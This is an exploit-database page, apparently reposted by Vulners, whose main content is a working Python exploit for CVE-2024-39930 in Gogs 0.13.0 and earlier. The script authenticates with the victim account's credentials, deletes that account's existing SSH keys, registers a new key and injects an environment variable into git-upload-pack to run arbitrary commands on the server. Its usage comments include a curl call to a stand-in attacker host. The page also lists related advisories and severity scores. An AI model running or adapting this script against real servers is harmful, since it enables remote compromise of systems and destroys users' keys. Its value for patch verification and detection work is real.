Lucene search
K

gogs 0.13.0 - Remote Code Execution (RCE)

🗓️ 02 Jul 2025 00:00:00Reported by cybersploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 252 Views

gogs 0.13.0 vulnerable to Remote Code Execution, exploiting using provided Python scripts.

Related
Code
ReporterTitlePublishedViews
Family
FreeBSD
gogs -- Multiple vulnerabilities
15 Nov 202400:00
freebsd
Circl
CVE-2024-39930
4 Jul 202418:56
circl
CNNVD
Gogs Security Breach
4 Jul 202400:00
cnnvd
CVE
CVE-2024-39930
4 Jul 202400:00
cve
Cvelist
CVE-2024-39930
4 Jul 202400:00
cvelist
EUVD
EUVD-2024-3615
3 Oct 202520:07
euvd
Tenable Nessus
FreeBSD : gogs -- Multiple vulnerabilities (0230343c-1908-11f0-accc-b42e991fc52e)
16 Apr 202500:00
nessus
Github Security Blog
Duplicate Advisory: github.com/gogs/gogs affected by CVE-2024-39930
4 Jul 202418:31
github
Github Security Blog
Gogs has an argument Injection in the built-in SSH server
23 Dec 202420:38
github
NVD
CVE-2024-39930
4 Jul 202416:15
nvd
Rows per page
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE) 
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930


# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================

import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse

API_BASE_URL = ""

def generate_random_string(length=8, charset=None):
    if charset is None:
        charset = string.ascii_letters + string.digits
    return ''.join(random.choices(charset, k=length))

def make_headers(token=None, basic_auth=None):
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"token {token}"
    elif basic_auth:
        b64 = base64.b64encode(basic_auth.encode()).decode()
        headers["Authorization"] = f"Basic {b64}"
    return headers

def http_post(path, json=None, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.post(url, json=json, headers=headers)
    response.raise_for_status()
    return response

def http_get(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.get(url, headers=headers)
    response.raise_for_status()
    return response

def http_delete(path, headers=None):
    url = f"{API_BASE_URL}{path}"
    response = requests.delete(url, headers=headers)
    response.raise_for_status()
    return response

def obtain_api_token(username, password):
    auth = f"{username}:{password}"
    headers = make_headers(basic_auth=auth)
    data = {"name": generate_random_string()}

    try:
        response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
        token = response.json()['sha1']
        print(f"[+] API Token Acquired: {token}")
        return token
    except Exception as e:
        print(f"[!] Failed to obtain API token: {e}")
        sys.exit(1)

def create_repo(token):
    repo_name = generate_random_string()
    headers = make_headers(token=token)
    data = {
        "name": repo_name,
        "description": "Auto-created repository",
        "private": False
    }

    try:
        response = http_post("/user/repos", json=data, headers=headers)
        full_name = response.json()['full_name']
        print(f"[+] Repository Created: {full_name}")
        return full_name
    except Exception as e:
        print(f"[!] Failed to create repository: {e}")
        sys.exit(1)

def delete_existing_ssh_keys(token):
    headers = make_headers(token=token)
    try:
        response = http_get("/user/keys", headers=headers)
        keys = response.json()
        for key in keys:
            key_id = key['id']
            http_delete(f"/user/keys/{key_id}", headers=headers)
            print(f"[+] Deleted SSH Key ID: {key_id}")
    except Exception as e:
        print(f"[!] Failed to delete existing SSH keys: {e}")
        sys.exit(1)

def add_ssh_key(public_key_path, token):
    delete_existing_ssh_keys(token)

    try:
        with open(public_key_path, 'r') as f:
            key = f.read()
    except Exception as e:
        print(f"[!] Failed to read public key file: {e}")
        sys.exit(1)

    headers = make_headers(token=token)
    data = {
        "title": generate_random_string(),
        "key": key
    }

    try:
        response = http_post("/user/keys", json=data, headers=headers)
        print(f"[+] SSH Key Added: {response.status_code}")
    except Exception as e:
        print(f"[!] Failed to add SSH key: {e}")
        sys.exit(1)

def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
    try:
        key = paramiko.RSAKey.from_private_key_file(private_key_path)
    except Exception as e:
        print(f"[!] Failed to load SSH key: {e}")
        sys.exit(1)

    try:
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)

        session = client.get_transport().open_session()

        print("[+] Executing command...... ")
        session.set_environment_variable("--split-string", command)
        session.exec_command(f"git-upload-pack {repo_path}")

        stdout = session.makefile('rb', 1024)
        stderr = session.makefile_stderr('rb', 1024)

        print("STDERR:", stderr.read().decode())
        print("STDOUT:", stdout.read().decode())

        session.close()
        client.close()
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

def main():
    global API_BASE_URL

    parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
    parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
    parser.add_argument("auth", help="Gogs credentials in the format username:password")
    parser.add_argument("private_key", help="Path to private SSH key")
    parser.add_argument("public_key", help="Path to public SSH key")
    parser.add_argument("command", help="Command to execute remotely")
    parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
    args = parser.parse_args()

    parsed_url = urlparse(args.url)
    API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
    ssh_host = parsed_url.hostname
    ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)

    try:
        username, password = args.auth.split(":")
    except ValueError:
        print("[!] Invalid format for auth argument")
        sys.exit(1)

    token = obtain_api_token(username, password)
    repo_path = create_repo(token)
    add_ssh_key(args.public_key, token)

    exploit(
        ssh_user=username,
        ssh_host=ssh_host,
        ssh_port=ssh_port,
        private_key_path=args.private_key,
        repo_path=repo_path,
        command=args.command
    )

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2025 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.9
EPSS0.11879
SSVC
252